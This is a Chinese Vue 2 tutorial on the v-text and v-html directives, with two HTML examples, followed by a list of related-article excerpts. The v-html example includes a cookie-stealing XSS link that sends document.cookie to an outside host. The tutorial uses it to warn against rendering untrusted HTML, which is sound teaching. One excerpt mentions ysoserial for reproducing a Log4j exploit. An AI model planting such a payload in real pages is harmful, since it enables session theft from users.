Vue26 内置标签 v-text v-html

实例

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				我们学过的指令:
						v-bind	: 单向绑定解析表达式, 可简写为 :xxx
						v-model	: 双向数据绑定
						v-for  	: 遍历数组/对象/字符串
						v-on   	: 绑定事件监听, 可简写为@
						v-if 	 	: 条件渲染(动态控制节点是否存存在)
						v-else 	: 条件渲染(动态控制节点是否存存在)
						v-show 	: 条件渲染 (动态控制节点是否展示)
				v-text指令:
						1.作用:向其所在的节点中渲染文本内容。
						2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>'
			}
		})
	</script>
</html>

在这里插入图片描述

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				v-html指令:
						1.作用:向指定节点中渲染包含html结构的内容。
						2.与插值语法的区别:
									(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
									(2).v-html可以识别html结构。
						3.严重注意:v-html有安全性问题!!!!
									(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
									(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
			}
		})
	</script>
</html>

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/397398.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

《最新出炉》系列初窥篇-Python+Playwright自动化测试-19-处理鼠标拖拽-中篇

1.简介 上一篇中&#xff0c;主要是介绍了拖拽的各种方法的理论知识以及实践&#xff0c;今天宏哥讲解和分享一下划取字段操作。例如&#xff1a;需要在一堆log字符中随机划取一段文字&#xff0c;然后右键选择摘取功能。 2.划取字段操作 划取字段操作就是在一段文字中随机选…

qt for python创建UI界面

现在很多库都有用到python,又想使用QT creater创作界面&#xff0c;来使用。 1.使用的版本 使用虚拟机安装Ubuntu22.04&#xff0c;Ubuntu使用命令行安装qt,默认安装的是QT5&#xff0c;不用来回调了&#xff0c;就用系统默认的吧&#xff0c;不然安装工具都要费不少事情。pyt…

新版Java面试专题视频教程——框架篇

新版Java面试专题视频教程——框架篇 框架篇 01-框架篇介绍02-Spring-单例bean是线程安全的吗03-Spring-AOP相关面试题04-Spring-事务失效的场景05-Spring-bean的生命周期5.1 BeanDefinition 06-Spring-bean的循环依赖(循环引用)6.1 一般对象的循环依…

Spring Cloud微服务网关Zuul动态路由配置优化和手动触发路由刷新

一、前文必看 Spring Cloud微服务网关Zuul动态路由配置。在前文中留了两个小坑。在本文将怕它给填了&#xff0c;所以前一篇文章建议看一下。 二、DynamicZuulRouteLocator小优化 在前文中提到&#xff0c;HeartbeatEvent事件会频繁触发&#xff0c;每次都需要去查询数据库。…

云HIS定义,云HIS系统源码,云HIS建设方法,云HIS发展机制

一、重新定义HIS&#xff1a; 传统HIS是基于局域网的医院信息系统&#xff0c;云HIS全称为基于云计算的医疗卫生信息系统&#xff08;Cloud-Based Healthcare Information System&#xff09;&#xff0c;是运用云计算、大数据、物联网等新兴信息技术&#xff0c;按照现代医疗卫…

http前生今世

HTTP/0.9&#xff0c;仅支持GET方法&#xff0c;并且响应中没有HTTP头信息&#xff0c;只有文档内容。 HTTP/1.0增加了对POST方法、状态码、HTTP头信息等的支持&#xff0c;这一版本也是广泛应用的历史性版本。 HTTP/1.1引入了持久连接&#xff08;Persistent Connections&…

照片去除多余人物的方法分享之三分钟教你怎么去除

在拍摄照片时&#xff0c;有时候会遇到照片中有多余的人物&#xff0c;这会影响照片的美观度和主题表达。去除照片中多余的人物&#xff0c;需要采用一些技巧和方法。本文将介绍几种常用的去除照片中多余人物的方法。 一、使用水印云软件去除多余人物 水印云是一款功能强大的图…

[转载]31省市数字经济发展规划(2024版)

近期&#xff0c;国家统计局、国家税务总局、工业和信息化部等部门先后在国新办新闻发布会上发布2023年发展成绩单&#xff0c;其中&#xff0c;数字经济核心产业频频出现在发展成绩单中。 我国数实融合加快推进。根据国家税务总局发布的数据&#xff0c;2023年我国数字经济核…

JAVA高并发——锁的优化

文章目录 1、减少锁持有时间2、减小锁粒度3、用读写分离锁来替换独占锁4、锁分离5、锁粗化 锁是最常用的同步方法之一。在高并发的环境下&#xff0c;激烈的锁竞争会导致程序的性能下降&#xff0c;因此我们有必要讨论一些有关锁的性能的问题&#xff0c;以及一些注意事项&…

vulhub中Apache Log4j Server 反序列化命令执行漏洞复现(CVE-2017-5645)

Apache Log4j是一个用于Java的日志记录库&#xff0c;其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。 1.我们使用ysoserial生成payload&#xff0c;然后直接发送给your-ip:4712端口即可。 java -jar ysoserial-…

微软和OpenAI将检查AI聊天记录,以寻找恶意账户

据国外媒体报道&#xff0c;大型科技公司及其附属的网络安全、人工智能产品很可能会推出类似的安全研究&#xff0c;尽管这会引起用户极度地隐私担忧。大型语言模型被要求提供情报机构信息&#xff0c;并用于帮助修复脚本错误和开发代码以侵入系统&#xff0c;这将很可能会成为…

01 Qt自定义风格控件的基本原则

目录 1.继承原生控件 2.组合原生控件 3.仿写原生控件 PS:后续将继续分享开发实践中各类自定义控件的方法、思路以及组件库 1.继承原生控件 关键字&#xff1a;继承、paintEvent 这里想说的是&#xff0c;Qt的Gui框架在封装原生控件的同时&#xff0c; 也为开发者提供了各…

AGI|一篇小白都能看懂的RAG入门介绍!

目录 一、前言 二、LLM主要存在的问题 三、RAG 是什么&#xff1f; 四、RAG中的搜索器 &#xff08;一&#xff09;主要的检索技术 &#xff08;二&#xff09;知识库索引技术 五、RAG目前遇到的问题和展望 一、前言 随着近几年AIGC的发展&#xff0c;不仅是大模型自身在…

Web3探索加密世界:什么是空投?

随着加密货币行业的迅速发展&#xff0c;人们开始听说各种各样的术语&#xff0c;其中包括"空投"&#xff08;Airdrop&#xff09;。在这里&#xff0c;我们将深入探讨什么是空投&#xff0c;以及它在加密世界中扮演的角色。 什么是空投&#xff1f; 空投是指在加密…

2.18号c++

1.菱形继承 1.1 概念 菱形继承又称为钻石继承&#xff0c;是由公共基类派生出多个中间子类&#xff0c;又由多个中间子类共同派生出汇聚子类。汇聚子类会得到多份中间子类从公共基类继承下来的数据成员&#xff0c;会造成空间浪费&#xff0c;没有必要。 问题&#xff1a; …

使用 GitHub Codespaces 加速 Elixir 开发环境工作速度

文章目录 前言加速 Elixir 开发环境参考 前言 使用 Elixir 开发点小玩意的时候&#xff0c;面对经常需要走外网下载依赖 (Elixir 的镜像站 UPYUN 使用有时候也经常抽风) 的时候&#xff0c;为了避免需要不断的进行网络代理配置&#xff0c;有想到之前经常使用 GitHub Codespac…

Spring两大核心思想:IOC和AOP

目录 IOC:控制反转 Ioc概念 Ioc的优点 Spring Ioc AOP:面向切面编程 AOP的优点 Spring AOP 1.添加依赖 2.核心概念 3.通知的类型 4.切点表达式 5.公共切点 pointCut 6.切面优先级 Order 7.使用自定义注解完成AOP的开发 Spring AOP实现有几种方式&#xff1f; S…

【C++】类与对象(构造函数、析构函数、拷贝构造函数、常引用)

&#x1f308;个人主页&#xff1a;秦jh__https://blog.csdn.net/qinjh_?spm1010.2135.3001.5343&#x1f525; 系列专栏&#xff1a;http://t.csdnimg.cn/eCa5z 目录 类的6个默认成员函数 构造函数 特性 析构函数 特性 析构的顺序 拷贝构造函数 特性 常引用 前言 &…

家用电器液位开关有哪些

在当代家庭中&#xff0c;随着科技的进步和生活水平的提升&#xff0c;各种智能化家用电器成为家庭生活的重要组成部分。这些家用电器如空调、除湿机、加湿器、洗碗机、净水器等&#xff0c;在运作过程中往往需要对液体的高低位进行精确控制&#xff0c;以保证其正常、高效的运…

SpringBoot + Nacos 实现动态化线程池

1.背景 在后台开发中&#xff0c;会经常用到线程池技术&#xff0c;对于线程池核心参数的配置很大程度上依靠经验。然而&#xff0c;由于系统运行过程中存在的不确定性&#xff0c;我们很难一劳永逸地规划一个合理的线程池参数。 在对线程池配置参数进行调整时&#xff0c;一…